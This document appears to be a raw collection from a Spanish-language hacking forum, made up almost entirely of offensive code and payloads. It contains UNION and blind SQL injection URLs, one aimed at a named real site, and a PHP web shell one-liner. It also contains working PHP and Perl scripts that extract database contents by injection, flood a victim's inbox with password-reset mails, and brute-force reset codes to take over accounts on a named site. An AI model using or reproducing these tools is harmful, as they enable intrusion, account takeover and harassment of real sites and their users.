Usuario: 0×7573756172696F73

Localhost/vulnz.php?id=1+and+1=0+union+select+all+1,2,group_concat(column_name,0x3A,table_name,0x3C62723E),4,5,6+from+information_schema.columns+where+table_name=(select+table_name+from+information_schema.tables+where+table_schema=database()+and+table_name+REGEXP+0x2E2A282875735B75655D7C6C6F675B696F5D6E7C61646D29292E2A+limit+0,1)+limit+0,1--

=1+and+1=0+union+select+all+1,2,group_concat(column_name,0x3A,table_name,0x3C62723E),4,5,6+from+information_schema.columns+where+table_name=(CONSULTA_RESTRICCION)+limit+0,1--

select+table_name+from+information_schema.tables+where+table_schema=database()+and+table_name+REGEXP+0x2E2A282875735B75655D7C6C6F675B696F5D6E7C61646D29292E2A+limit+0,1

REGEXP+0×2E2A282875735B75655D7C6C6F675B696F5D6E7C61646D29292E2A

.*((us[ue]|log[io]n|adm)).*

http://www.buenosaires2050.org/noticias.php?id=39+and+1=2+union+select+1,2,3,4,group_concat(column_name,0x3A,table_name,0x3C62723E),6+from+information_schema.columns+where+table_name=(select+table_name+from+information_schema.tables+where+table_schema=database()+and+table_name+REGEXP+0x2E2A282875735B75655D7C6C6F675B696F5D6E7C61646D29292E2A+limit+0,1)+limit+0,1--

+and+ (SELECT+IF ((ARREGLO), (RESTRICCION_1), false)) —

     select+case+(ascii(mid((CONSULTA),SUBSTRING,1))+RESTRICCION_1)+when+true+then+(true)+else+false+end

 select+user()

http://www.host.com/vulnz.php?id=1+and+(SELECT+IF((select+case+(ascii(mid((select+user()),1,1))+BETWEEN+32+AND+122)+when+true+then+(true)+else+false+end),(select+case+(ascii(mid((select+user()),1,1))+BETWEEN+32+AND+77)+when+true+then+(true)+else+false+end),false))--

site:objectivo.com inurl:php
site:objectivo.com inurl:asp

<? system($_REQUEST['cmd']); ?>

var/www/vhost/objectivo.com/admin/upload/

http://www.site.com/download.php?id=2

<?php
/*
Coded by OzX[NuKE/US]
http://foro.undersecurity.net

*/
set_time_limit (0);
error_reporting(0);

function ordenar($file){
	$file = file($file);
	foreach ($file as $var){
	list($ansii,$valores)= explode(">",$var);
	$vars[$ansii] = $valores;
	}
	ksort($vars);
	foreach ($vars as $var){
	$data .=trim($var);
	}
	return array($data,$vars);
}

function blind($limit,$substring,$file){
$ascii = array(44,0,95,97,98,99,100,101,102,103,104,105,106,107,108,109,110,111,112,
		113,114,115,116,117,118,119,120,121,122,48,49,50,51,52,53,54,55,56,57,
		65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90);

for ($x=0;$x<=count($ascii);$x++){
	$f1=fopen($file,"a");
	$sql = "SELECT+table_name+from+information_schema.tables+where+table_schema='db'+limit+".$limit.",1"; //Mostrar las Tablas de la db
	$url="http://www.site.com/download.php?id=2+AND+ascii(substring((".$sql."),".$substring.",1))=".$ascii[$x];

	$var = strlen(file_get_contents($url,FALSE,NULL,0,1));
	if ($var != 0){
			$info = $substring . ">".chr($ascii[$x])."\n";
			$string.= chr($ascii[$x]); //Obtenemos el Valor y lo Guardamos
			echo "[".$substring."] > ENCONTRADO :>>>>>>>>>>> ".$string."\r\n";
			fwrite($f1,$info);
			fclose($f1);
			exit();
	}else{
		echo chr($ascii[$x]).chr(13);
	}
					}

}
############################################################################################

$start = $argv[2];
$finish = $argv[3];
$limit = $argv[1];

$file = rand().".txt"; 
if (file_exists($file)) {
   unlink($file);
}


$pids = array();
for($i=$start;$i<=$finish;$i++)
{
  $pid = pcntl_fork();
   if($pid == -1) { die('ERROR FORK');
  } else if ($pid) {
    $pids[] = $pid;
  } else {
   blind($limit,$i,$file);
    exit();
  }
}
foreach($pids as $pid) {
  pcntl_waitpid($pid, $status);

}

list($data,$vars) = ordenar($file);
echo "Valor Obtenido :> ".$data."\r\n";
unlink($file);

?>

$start = $argv[2]; //=> Desde Donde partira el Substring ej => 1 , empezara del segundo valor
$finish = $argv[3];  //=> En donde Terminara el Substring => 9 
$limit = $argv[1]; //=> Valor del Limit, Primer Valor , Segundo Tercero cuarto ... (limit+0,1) = $limit = 0

<?
	#FUNCION GET OBTIENE EL CODE SOURCE
	function GET($url) {
		$curl = curl_init();
	 	$header[] = "Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5";
		$header[] = "Cache-Control: max-age=0";
		$header[] = "Connection: keep-alive";
		$header[] = "Keep-Alive: 300";
		$header[] = "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7";
		$header[] = "Accept-Language: en-us,en;q=0.5";
		$header[] = "Pragma: "; 
	 	curl_setopt($curl, CURLOPT_URL, $url);
		curl_setopt($curl, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.15) Gecko/2008111317  Firefox/3.0.4');
		curl_setopt($curl, CURLOPT_HTTPHEADER, $header);
		curl_setopt($curl, CURLOPT_REFERER, 'http://www.google.com');
		curl_setopt($curl, CURLOPT_ENCODING, 'gzip,deflate');
		curl_setopt($curl, CURLOPT_AUTOREFERER, true);
		curl_setopt($curl, CURLOPT_COOKIEJAR, "my_cookies.txt");
		curl_setopt($curl, CURLOPT_COOKIEFILE, "my_cookies.txt");
		curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
		curl_setopt($curl, CURLOPT_TIMEOUT, 10);
		$html = curl_exec($curl);
		curl_close($curl);
		return $html; 
	}

function POST($mail,$sid){
		$curl = curl_init();
		$post = "user=".$mail."%40spamavert.com&sc=".$sid;
	 	$header[] = "Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5";
		$header[] = "Cache-Control: max-age=0";
		$header[] = "Connection: keep-alive";
		$header[] = "Keep-Alive: 300";
		$header[] = "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7";
		$header[] = "Accept-Language: en-us,en;q=0.5";
		$header[] = "Pragma: "; 
	 	curl_setopt($curl, CURLOPT_URL, "http://password.esp.am/index.php?action=reminder;sa=mail");
		curl_setopt($curl, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.15) Gecko/2008111317  Firefox/3.0.4');
		curl_setopt($curl, CURLOPT_HTTPHEADER, $header);
		curl_setopt($curl, CURLOPT_REFERER, 'http://password.esp.am/index.php?action=reminder');
		curl_setopt($curl, CURLOPT_ENCODING, 'gzip,deflate');
		curl_setopt($curl, CURLOPT_AUTOREFERER, true);
		curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
		curl_setopt($curl, CURLOPT_TIMEOUT, 10);
		curl_setopt($curl, CURLOPT_POST, 1);
		curl_setopt($curl, CURLOPT_COOKIEJAR, "my_cookies.txt");
		curl_setopt($curl, CURLOPT_COOKIEFILE, "my_cookies.txt");
		curl_setopt($curl, CURLOPT_POSTFIELDS,$post);
		$result= curl_exec ($curl);
		curl_close ($curl);
		return $result;
}

function send_mail($mail){
$url = "http://password.esp.am/index.php?action=reminder";
preg_match_all("/hashLoginPassword\(this.*\'(.*)\'\);\">/", GET($url), $datos,  PREG_SET_ORDER);
$source = POST($mail,$datos[0][1]);
	if (preg_match("/A mail has been sent to your email address/", $source)) {
	echo "Email Enviado\n";
	}else{
	echo "ERROR\n";
	}
}

$mail = $argv[1];

for ($x=1;$x<=500;$x++){
echo $x." = ";
send_mail($mail);
}




?>

<?
	#FUNCION GET OBTIENE EL CODE SOURCE
	function GET($url) {
		$curl = curl_init();
	 	$header[] = "Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5";
		$header[] = "Cache-Control: max-age=0";
		$header[] = "Connection: keep-alive";
		$header[] = "Keep-Alive: 300";
		$header[] = "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7";
		$header[] = "Accept-Language: en-us,en;q=0.5";
		$header[] = "Pragma: "; 
	 	curl_setopt($curl, CURLOPT_URL, $url);
		curl_setopt($curl, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.15) Gecko/2008111317  Firefox/3.0.4');
		curl_setopt($curl, CURLOPT_HTTPHEADER, $header);
		curl_setopt($curl, CURLOPT_REFERER, 'http://www.google.com');
		curl_setopt($curl, CURLOPT_ENCODING, 'gzip,deflate');
		curl_setopt($curl, CURLOPT_AUTOREFERER, true);
		curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
		curl_setopt($curl, CURLOPT_TIMEOUT, 10);
		$html = curl_exec($curl);
		curl_close($curl);
		return $html; 
	}

function suma($code){
$suma = 0;
for ($x=0;$x<strlen($code);$x++){
	$var = substr($code,$x,1);
	if (!is_numeric($var)){
		$suma +=hexdec($var);
	}else{
		$suma +=$var;
	}
}
return $suma;
}


$mail =  $argv[1];

$host = "http://spamavert.com/";
$url = $host."/mail.php?alias=".$mail."&showIndex=1";
preg_match_all("/(mail\.php\?alias=.*&amp;ixMail=(\d*))'\"/", GET($url), $datos,  PREG_SET_ORDER); //**


for ($x=0;$x<count($datos);$x++){
$webs[] = preg_replace('/amp;/',"", $host.$datos[$x][1],1);
}
echo "[+] Mails :> ".count($webs)."\n";

foreach ($webs as $web){
preg_match_all("/code=(\w{10})\"/", GET($web), $datos,  PREG_SET_ORDER); 
$valor = $datos[0][1];
echo $datos[0][1]." ".suma($valor)."\n";
}



?>

a=10;
b=11;
c=12;
d=13;
e=14;
f=15;

function make_code($limit){
do{
$var = "";
for ($x=1;$x<=10;$x++){
$rand = rand(0,15);
$var.=dechex($rand);
			}
}while(suma($var) != $limit);
return $var;
}

<?
function suma($code){
$suma = 0;
for ($x=0;$x<strlen($code);$x++){
	$var = substr($code,$x,1);
	if (!is_numeric($var)){
		$suma +=hexdec($var);
	}else{
		$suma +=$var;
	}
}
return $suma;
}

function make_code($limit){
do{
$var = "";
for ($x=1;$x<=10;$x++){
$rand = rand(0,15);
$var.=dechex($rand);
			}
}while(suma($var) != $limit);
return $var;
}
################################################
$myFile = "db3.txt";
$fh = fopen($myFile, 'w') or die("can't open file");
$code = array("");
$rep = array("");
for ($x=1;$x<=20000;$x++){
$var = make_code(75);
	if (!in_array ($var, $code)){
	echo $x." : ".$var."\n";
	$code[] = $var;
	fwrite($fh, $var."\n");
	}else{
	echo "ERROR :> ".$var."\n";
	$rep[]=$var;
	}
}
fclose($fh);
echo count($code)."\n";
echo count($rep)."\n";
?>

<?
function POST($code){
		$curl = curl_init();

$url = "http://password.esp.am/index.php?action=reminder;sa=setpassword2 ";
$post = "passwrd1=12345&passwrd2=12345&code=".$code."&u=1&sc=022add0f601aa2f12569aa6ad95fe1bd";

	 	$header[] = "Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5";
		$header[] = "Cache-Control: max-age=0";
		$header[] = "Connection: keep-alive";
		$header[] = "Keep-Alive: 300";
		$header[] = "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7";
		$header[] = "Accept-Language: en-us,en;q=0.5";
		$header[] = "Pragma: "; 
	 	curl_setopt($curl, CURLOPT_URL, $url);
		curl_setopt($curl, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.15) Gecko/2008111317  Firefox/3.0.4');
		curl_setopt($curl, CURLOPT_HTTPHEADER, $header);
		curl_setopt($curl, CURLOPT_REFERER, 'http://www.google.com');
		curl_setopt($curl, CURLOPT_ENCODING, 'gzip,deflate');
		curl_setopt($curl, CURLOPT_AUTOREFERER, true);
		curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
		curl_setopt($curl, CURLOPT_TIMEOUT, 10);
		curl_setopt($curl, CURLOPT_POST, 1);
		curl_setopt($curl, CURLOPT_POSTFIELDS,$post);
		$result= curl_exec ($curl);
		curl_close ($curl);

				if (preg_match("/<b>Password successfully set<\/b>/", $result)) {
					echo "PassWord Cambiada ".$code."\n";
				}else{
					echo "ERROR\n";
				}

}

$code = file("db2.txt"); 
foreach ($code as $value){
POST($value);
}

?>

union+select+all+1,2,campo_que_no_existe,3+from+tabla.

mysql> USE db1;
mysql> SELECT COUNT(*) FROM mytable;   # selects from db1.mytable
mysql> USE db2;
mysql> SELECT COUNT(*) FROM mytable;   # selects from db2.mytable

use LWP::UserAgent; 

use HTTP::Request::Common;

#by OzX [NuKe/NB/UnderSecurity]
#DataExtract
#Extrator de Informacion Desde la Base de Datos, Usuario, BD, y Version.
$browser = LWP::UserAgent->new();

$browser->timeout(10);

$browser->default_header(

	"User-Agent" => "Mozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1",

	"Accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",

	"Accept-Language" => "es-es,es;q=0.8,en-us;q=0.5,en;q=0.3",

	"Referer" => "http://www.google.com"

);


use constant URL => $ARGV[0]; #Constante URL.

unless ($ARGV[0]) {
print "Coded By OzX\n Extractor de Informacion database(),User(),version(), Para Mysql\n";
print "Uso Ejemplo : Script.pl www.google.com/noticias?id=15+and+1=0+1,2,3,4,5,6,7,8--\n";
print "\n";
   exit 0;
}

($uri,$sql_num) = URL =~ m{(.*)\+(.*)$}g; #Obtener Valores 1,2,3,4,5..
($db,$user,$version) = detalles_bd($sql_num);


print "[+] Nombre BD : > $db\n[+] Usuario BD : > $user\n[+] Verion BD : > $version\n";


#Funcion Que Obtiene la Informacion de la Base de Datos
sub detalles_bd{
$_[0] = sql_num($sql_num);
$vars = numero($sql_num);
$string_datos_db = 'concat(0x55534e42,database(),0x3A,user(),0x3A,version(),0x55534e42)';
$sql_num =~s/$vars/$string_datos_db/;
$url = $uri."+".$sql_num;
$source = GETS($url);
($db,$user,$version) = $source =~ m{USNB(.*):(.*):(.*)USNB}g;
return ($db,$user,$version);
}

#Funcion para Evitar Problemas XD¡.
sub sql_num{
$num_total = split(",",$_[0]);
for ($x=1;$x<=$num_total;$x++){
$sql_num_correcto = $sql_num_correcto."$x,";
}
chop($sql_num_correcto);
return $sql_num_correcto;
}

#Funcion para Obtener los Numeros De la Inyeccion Base
sub numero{
local $sql_num = $_[0];
$sql_num = split(",",$sql_num); #Total de Valores, Sin Importar si Empieza de 0.
for ($x=1;$x<=$sql_num;$x++){
$url_hex = $url_hex.hex_sql("USNB$x").",";
}
chop($url_hex); #Eliminamos la Ultima ,
$url_inject = $uri."+".$url_hex."--"; #FORMAMOS LA URL
$source_url_hex = GETS($url_inject);#SOURCE 
( @match_USNB) = $source_url_hex =~ m{USNB(\d+)}g; #ENCONTRAMOS VALORES 
$vars =  @match_USNB[int(rand( @match_USNB))]; #Eligimos 1 al azar $$
return $vars;
}

#Funcion GETS
sub GETS{
return  $browser->request(GET $_[0])->content;
} 
#Funcion Hex_SQL
sub hex_sql($) {
(my $str = shift) =~ s/(.|\n)/sprintf("%02lx", ord $1)/eg;return "0x$str";
}